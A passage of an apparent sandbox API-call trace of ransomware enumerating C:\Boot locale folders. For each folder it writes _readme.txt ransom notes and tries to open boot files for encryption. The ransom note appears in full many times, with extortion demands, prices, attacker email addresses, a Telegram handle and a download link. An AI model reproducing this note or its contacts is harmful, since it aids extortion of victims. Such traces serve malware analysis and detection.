0 [0112.832] PathFindFileNameW (pszPath="C:\\Boot\\ja-JP\\") returned="ja-JP\\" [0112.832] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.832] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.832] PathFindFileNameW (pszPath="") returned="" [0112.832] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.832] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.832] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.832] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.832] PathAppendW (in: pszPath="C:\\Boot\\ja-JP\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 1 [0112.832] PathFileExistsW (pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 0 [0112.832] lstrcpyW (in: lpString1=0x3321120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.833] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.833] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\_readme.txt" (normalized: "c:\\boot\\ja-jp\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.833] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.833] PathFindExtensionW (pszPath="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned=".mui" [0112.833] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.833] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.833] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.833] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.833] PathFindFileNameW (pszPath="C:\\Boot\\ko-KR\\") returned="ko-KR\\" [0112.833] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.833] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.833] PathFindFileNameW (pszPath="") returned="" [0112.833] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.834] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.834] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.834] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.834] PathAppendW (in: pszPath="C:\\Boot\\ko-KR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 1 [0112.834] PathFileExistsW (pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 0 [0112.834] lstrcpyW (in: lpString1=0x3321120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.834] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.834] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\_readme.txt" (normalized: "c:\\boot\\ko-kr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.834] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.834] PathFindExtensionW (pszPath="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned=".mui" [0112.834] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.835] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.835] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.835] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.835] PathFindFileNameW (pszPath="C:\\Boot\\nb-NO\\") returned="nb-NO\\" [0112.835] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.835] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.835] PathFindFileNameW (pszPath="") returned="" [0112.835] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.835] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.835] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.835] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.835] PathAppendW (in: pszPath="C:\\Boot\\nb-NO\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 1 [0112.835] PathFileExistsW (pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 0 [0112.836] lstrcpyW (in: lpString1=0x3321120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.836] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.836] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\_readme.txt" (normalized: "c:\\boot\\nb-no\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.836] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.836] PathFindExtensionW (pszPath="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned=".mui" [0112.836] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.836] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.836] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.836] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.836] PathFindFileNameW (pszPath="C:\\Boot\\nl-NL\\") returned="nl-NL\\" [0112.836] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.836] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.836] PathFindFileNameW (pszPath="") returned="" [0112.837] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.837] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.837] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.837] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.837] PathAppendW (in: pszPath="C:\\Boot\\nl-NL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 1 [0112.837] PathFileExistsW (pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 0 [0112.837] lstrcpyW (in: lpString1=0x3321120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 